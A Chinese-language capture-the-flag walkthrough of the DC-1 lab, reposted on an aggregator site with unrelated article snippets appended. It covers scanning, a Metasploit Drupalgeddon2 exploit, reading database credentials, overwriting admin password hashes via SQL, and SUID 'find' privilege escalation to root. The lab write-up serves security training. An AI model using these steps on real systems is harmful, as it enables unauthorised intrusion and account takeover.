靶場練習 手把手教你通關DC系列 DC1

DC1靶場通關教程


文章目錄

  • DC1靶場通關教程
  • 前言
  • 一、信息收集
    • 1.主機存活
    • 2.端口收集
    • 3.網頁信息收集
    • 4.目錄收集
      • 4.1 Nikto
      • 4.2 Dirb
    • 信息收集總結
  • 二、漏洞發現與利用
    • 1. 發現
    • 2. 利用
  • 三、Flag
    • Flag1
    • Flag2
    • Flag3
    • Flag4
    • Flag5(提權)


前言

在這里插入圖片描述

本次使用的kali機的IP地址為192.168.243.131
DC1的地址為192.168.243.134


一、信息收集

1.主機存活

在這里插入圖片描述

arp-scan -l 此命令是探測主機存活 sudo命令是令kali用戶短暫擁有root用戶權限,需要輸入kali的密碼
其中192.168.243.128是kali的IP地址,192.168.243.134是靶場的IP地址

2.端口收集

在這里插入圖片描述

nmap -T4 -v 192.168.243.134該命令探測靶場開發的端口信息,可以看到其中開發端口有22、80、111

3.網頁信息收集

在這里插入圖片描述

火狐瀏覽器有Wappalyzer插件可以看框架、中間件、語言等功能

4.目錄收集

這里使用兩種查詢方式

4.1 Nikto

在這里插入圖片描述

nikto -h http://192.168.243.134

4.2 Dirb

在這里插入圖片描述

dirb http://192.168.243.134

目錄收集沒有收集到可用信息,可以跳過這一步

信息收集總結

靶場IP地址為: 192.168.243.134
開放端口: 22/ssh 80/http 111/rpcbind
框架: cms Drupal 7
中間件: Apache 2.2.22
語言: php 5.4.45
操作系統: Debian

二、漏洞發現與利用

思路 通過信息收集到的內容去搜索網絡已知漏洞

1. 發現

kali加載msf攻擊載荷

在這里插入圖片描述

search drupal搜索Drupal可以利用的漏洞

在這里插入圖片描述

2. 利用

這里使用exploit/unix/webapp/drupal_drupalgeddon2

在這里插入圖片描述

show options 查看需要配置的文件

在這里插入圖片描述

Requiredyes為必須配置項,RHOSTS 為靶場的IP地址
set rhosts 192.168.243.134 添加目標地址

在這里插入圖片描述

使用run運行,然后shell

在這里插入圖片描述

python -c "import pty;pty.spawn('/bin/bash')" 為交互語句,方便使用

在這里插入圖片描述

三、Flag

Flag1

查看當前文件夾的所有內容 ls -la

在這里插入圖片描述

可以看到有一個flag1.txt文件
cat flag1.txt打開flag1.txt文件

在這里插入圖片描述

Every good CMS needs a config file - and so do you. //每個好的CMS都需要一個配置文件——您也一樣。

Flag2

flag1提示我們去找配置文件
find / -name settings.php

在這里插入圖片描述

查看這個文件
cat /var/www/sites/default/settings.php

在這里插入圖片描述

/**** flag2* Brute force and dictionary attacks aren't the //暴力破解和字典攻擊不是* only ways to gain access (and you WILL need access). //只有獲得訪問權限的方法(你將需要訪問權限)。* What can you do with these credentials? //你能用這些證書做什么?**/$databases = array ('default' => array ('default' => array ('database' => 'drupaldb','username' => 'dbuser','password' => 'R0ck3t','host' => 'localhost','port' => '','driver' => 'mysql','prefix' => '',),),
);

Flag3

flag2給出了數據庫的賬戶和密碼,我們可以直接登錄查看
mysql -udbuser -pR0ck3t

在這里插入圖片描述

查詢數據庫
show databases;

在這里插入圖片描述

直接使用第二個表
use drupalbd;

在這里插入圖片描述

查詢庫中的表
show tables;

在這里插入圖片描述

在這里插入圖片描述

我們查看users表中的內容

在這里插入圖片描述

可以看到表中的內容是adminFred賬戶密碼
admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR
Fred | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg
這個加密方式為hash(哈希),解密難度過大,我們可以通過password-hash.sh文件生成一個新密碼
使用find命令查找文件

在這里插入圖片描述

使用cat命令查看源碼
cat /var/www/scripts/password-hash.sh

<?php/*** Drupal hash script - to generate a hash from a plaintext password** Check for your PHP interpreter - on Windows you'll probably have to* replace line 1 with*   #!c:/program files/php/php.exe** @param password1 [password2 [password3 ...]]*  Plain-text passwords in quotes (or with spaces backslash escaped).*/if (version_compare(PHP_VERSION, "5.2.0", "<")) {$version  = PHP_VERSION;echo <<<EOFERROR: This script requires at least PHP version 5.2.0. You invoked it withPHP version {$version}.
\n
EOF;exit;
}$script = basename(array_shift($_SERVER['argv']));if (in_array('--help', $_SERVER['argv']) || empty($_SERVER['argv'])) {echo <<<EOFGenerate Drupal password hashes from the shell.Usage:        {$script} [OPTIONS] "<plan-text password>"
Example:      {$script} "mynewpassword"All arguments are long options.--help      Print this page.--root <path>Set the working directory for the script to the specified path.To execute this script this has to be the root directory of yourDrupal installation, e.g. /home/www/foo/drupal (assuming Drupalrunning on Unix). Use surrounding quotation marks on Windows."<password1>" ["<password2>" ["<password3>" ...]]One or more plan-text passwords enclosed by double quotes. Theoutput hash may be manually entered into the {users}.pass field tochange a password via SQL to a known value.To run this script without the --root argument invoke it from the root directory
of your Drupal installation as./scripts/{$script}
\n
EOF;exit;
}$passwords = array();// Parse invocation arguments.
while ($param = array_shift($_SERVER['argv'])) {switch ($param) {case '--root':// Change the working directory.$path = array_shift($_SERVER['argv']);if (is_dir($path)) {chdir($path);}break;default:// Add a password to the list to be processed.$passwords[] = $param;break;}
}define('DRUPAL_ROOT', getcwd());include_once DRUPAL_ROOT . '/includes/password.inc';
include_once DRUPAL_ROOT . '/includes/bootstrap.inc';foreach ($passwords as $password) {print("\npassword: $password \t\thash: ". user_hash_password($password) ."\n");
}
print("\n");

php /var/www/scripts/password-hash.sh 123456
因為這是php文件,所以我們需要使用php

在這里插入圖片描述

password: 123456 hash: $S$DPuVBKNPp4WAlPVEAVTPohYHAfrGfwS9Z05iG3InaYIKsrrO95AG
登錄數據庫,將生成的哈希值寫入到數據庫的users表中,替換adminFred的密碼
update users set pass="$S$DPuVBKNPp4WAlPVEAVTPohYHAfrGfwS9Z05iG3InaYIKsrrO95AG" where name="admin" or name="Fred";

在這里插入圖片描述在這里插入圖片描述

使用剛剛更改的數據進行登錄

在這里插入圖片描述
在這里插入圖片描述

找到fflag3文件

在這里插入圖片描述

Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.//特殊的PERMS將幫助查找passwd -但是您需要-執行該命令才能知道如何獲得陰影中的內容。

Flag4

根據flag3的提示讓我們去看/etc/passwd文件

在這里插入圖片描述

可以看到一個flag4,我們去到flag4目錄

在這里插入圖片描述

查看flag4.txt

在這里插入圖片描述

Can you use this same method to find or access the flag in root?//您可以使用相同的方法來查找或訪問根中的標志嗎?
Probably. But perhaps it's not that easy.  Or maybe it is?//可能。但也許沒那么容易。也許是這樣

Flag5(提權)

根據flag4的提示,我們嘗試去root目錄

在這里插入圖片描述

發現被拒絕訪問了,查找一下當前用戶可執行的文件
find / -perm -u=s -type f 2>/dev/null

在這里插入圖片描述

發現有find,直接用find提權
find / -exec "/bin/bash" -p \;

在這里插入圖片描述

現在去root目錄

在這里插入圖片描述

查看thefinalflag.txt文件
cat thefinalflag.txt

在這里插入圖片描述

Well done!!!!
Hopefully you've enjoyed this and learned some new skills.
You can let me know what you thought of this little journeyby contacting me via Twitter - @DCAU7
//做得好! !
//希望你喜歡這篇文章,并學到了一些新技能。
//你可以通過推特@DCAU7聯系我,讓我知道你對這次小旅行的看法

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/43660.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/43660.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/43660.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

機器學習 - 比較檢驗

列聯表 列聯表&#xff08;Contingency Table&#xff09;是一種用于顯示兩個或多個分類變量之間關系的表格。它廣泛應用于統計學中的分類數據分析&#xff0c;尤其在獨立性檢驗和關聯性分析時。列聯表的每個單元格展示了相應分類變量組合的頻數&#xff08;或比例&#xff09…

【2024_CUMCM】LINGO入門+動態規劃

目錄 什么是動態規劃 怎么使用動態規劃&#xff1f; 例題&#xff1a;最短路線問題 2020b-問題一 穩定性分析 靈敏度分析 什么是動態規劃 基本想法&#xff1a;將原問題轉換為一系列相互聯系的子問題&#xff0c;然后通過逐層遞推求得最后的解 基本思想&#xff1a;解決…

X12端口配置指南:ISA ID、測試指示符與997

通過知行之橋EDI系統實現X12 & 標準XML之間的格式轉換時&#xff0c;需要完善交換頭ISA ID及其限定符、測試標識符以及997的相關配置。 在X12文件中有兩組EDI ID對&#xff0c;分別是發送方 ID 限定符 及發送方ID &#xff0c;接收方 ID 限定符及接收方ID。 比如&#xf…

STM32Cubemx配置生成 Keil AC6支持代碼

文章目錄 一、前言二、AC 6配置2.1 ARM ComPiler 選擇AC62.2 AC6 UTF-8的編譯命令會報錯 三、STM32Cubemx 配置3.1 找到stm32cubemx的模板位置3.2 替換文件內核文件3.3 修改 cmsis_os.c文件3.4 修改本地 四、編譯對比 一、前言 使用keil ARM compiler V5的時候&#xff0c;編譯…

RK3568 buildroot 使用dropbear實現ssh遠程的方法

RK3568 buildroot 使用dropbear實現ssh遠程的方法 文章目錄 RK3568 buildroot 使用dropbear實現ssh遠程的方法前言一、創建S99dropbear.sh腳本二、創建sshd_config三、添加root賬戶密碼到系統驗證登錄前言 rk3568 linux 的sdk中,buildroot已經集成了dropbear的所需的lib庫環境…

交替打印-GO

1 兩個channel 版本 package mainimport ("fmt""sync")var wg sync.WaitGroup var c1 chan int var c2 chan intfunc A(){defer wg.Done()for i:0;i<10;i {<-c1fmt.Println(2*i)c2<-1 //牽引協程} } func B(){defer wg.Done()for i:0…

Java內存區域與內存溢出異常(自動內存管理)

序言&#xff1a;Java與C之間有一堵由內存動態分配和垃圾收集技術所圍成的高墻&#xff0c;墻外面的人想進去&#xff0c;墻里面的人卻想出來。 1.1概述 對于從事C、C程序開發的開發人員來說&#xff0c;在內存管理領域&#xff0c;他們既是擁有最高權力的“皇帝”&#xff0c…

使用OpenCV在按下Enter鍵時截圖并保存到指定文件夾

使用OpenCV在按下Enter鍵時截圖并保存到指定文件夾 在這篇博客中&#xff0c;我們將介紹如何使用OpenCV庫來實現一個簡單的功能&#xff1a;在按下Enter鍵時從攝像頭截圖并保存到指定的文件夾中。這個功能可以用于各種應用&#xff0c;例如監控系統、視頻捕捉等。 前置條件 …

在FPGA程序中Handshake(握手)和Register(寄存器)區別

在FPGA程序中&#xff0c;Handshake&#xff08;握手&#xff09;和Register&#xff08;寄存器&#xff09;是兩種不同的通信和數據傳輸機制。它們各有特點和適用場景。以下是它們的區別和應用場景的詳細解釋&#xff1a; Register&#xff08;寄存器&#xff09; 特點&#…

SQLServer用戶們,你們攤上大事了!

最近一段時間&#xff0c;我們經常會收到了許多用戶的咨詢&#xff0c;問我們何時能納管SQLServer&#xff1f;耐不住小伙伴們的猛烈催促及熱切期待&#xff0c;本不想納管SQLServer的研發團隊也抓緊將這項需求提上日程。并在DBdoctor v3.2.2版本中成功實現了對SQLServer的納管…

班級錄取查詢系統如何制作

在教育的長河中&#xff0c;我們每位老師都曾面臨過這樣一個問題&#xff1a;如何高效、準確地完成班級錄取查詢的任務&#xff1f;記得在以往&#xff0c;每當新學期伊始&#xff0c;我們不得不手忙腳亂地整理學生名單&#xff0c;然后逐一通知他們所在的班級。這個過程不僅耗…

谷歌Google Ads新賬號推廣方案

第一階段重點 推廣地區優化&#xff1a;分析投放國家的數據&#xff0c;剔除高花費低轉化的國家&#xff0c;將預算重新分配給高性價比的國家&#xff0c;從而降低詢盤成本并增加詢盤數量。關鍵詞優化&#xff1a;識別并暫停或降價高成本低回報的關鍵詞&#xff0c;減少詢盤成本…

《mysql篇》--索引事務

索引 索引的介紹 索引是幫助MySQL高效獲取數據的數據結構&#xff0c;是一種特殊的文件&#xff0c;包含著對數據表里所有記錄的引用指針&#xff0c;因為索引本身也比較大&#xff0c;所以索引一般是存儲在磁盤上的&#xff0c;索引的種類有很多&#xff0c;不過如果沒有特殊…

[ios-h5]在ios系統瀏覽器中輸入框得到焦點時頁面自動放大

問題&#xff1a; 在ios系統瀏覽器中輸入框得到焦點時頁面自動放大。 解決&#xff1a; 添加meta標簽。 <meta name"apple-mobile-web-app-capable" content"yes" /> <meta name"viewport" content"widthdevice-width, initial-…

隱式類型轉換 算術轉換

目錄 整型提升 間接證明整型提升的代碼案例 算術轉換 整型提升 何為整型提升&#xff1a; C語言的整型算術運算總是至少以缺省&#xff08;默認&#xff09;整型類型的精度來進行的 為了獲得這個精度&#xff0c;表達式中的字符類型和短整型操作數在使用之前被轉換為普通整…

基于SpringBoot實現輕量級的動態定時任務調度

在使用SpringBoot框架進行開發時&#xff0c;一般都是通過Scheduled注解進行定時任務的開發&#xff1a; Component public class TestTask {Scheduled(cron"0/5 * * * * ? ") //每5秒執行一次public void execute(){SimpleDateFormat df new SimpleDateFormat(…

解決 NullReferenceException: Object reference not set to an instance of an object

在 Unity 中 利用 URDF Importer import UR5e_gripper 的 URDF file 時出現錯誤&#xff1a; NullReferenceException: Object reference not set to an instance of an object。 理論上是有個Object 是 Null&#xff0c;當我再次檢查URDF后仍覺得路徑沒有寫錯。 于是我 把Mesh…

軟件測試面試200問(含答案+文檔)

Part1 1、你的測試職業發展是什么&#xff1f; 測試經驗越多&#xff0c;測試能力越高。所以我的職業發展是需要時間積累的&#xff0c;一步步向著高級測試工程師奔去。而且我也有初步的職業規劃&#xff0c;前3年積累測試經驗&#xff0c;按如何做好測試工程師的要點去要求自…

spring的bean注冊

bean注冊 第三方jar包的類想添加到ioc中&#xff0c;加不了Component該怎么辦呢。 可以使用Bean和Import引入jar包&#xff0c;可以使用maven安裝到本地倉庫。 修改bean的名字&#xff1a;Bean("aaa")使用ioc的已經存在的bean對象&#xff0c;如Country&#xff1a;p…

in-flight 要維持在 bdp 附近嗎

試圖在 bbr 和 aimd 之間保持公平是徒勞的&#xff0c;因為它們沒有共識。bbr 認為 in-flight 超過 bdp 是擁塞&#xff0c;而 aimd 認為 buffer 溢出才擁塞&#xff0c;兼顧彼此&#xff0c;就是 bbr3&#xff0c;aimd 不會往左&#xff0c;bbr 就往右。 vegas 同理&#xff…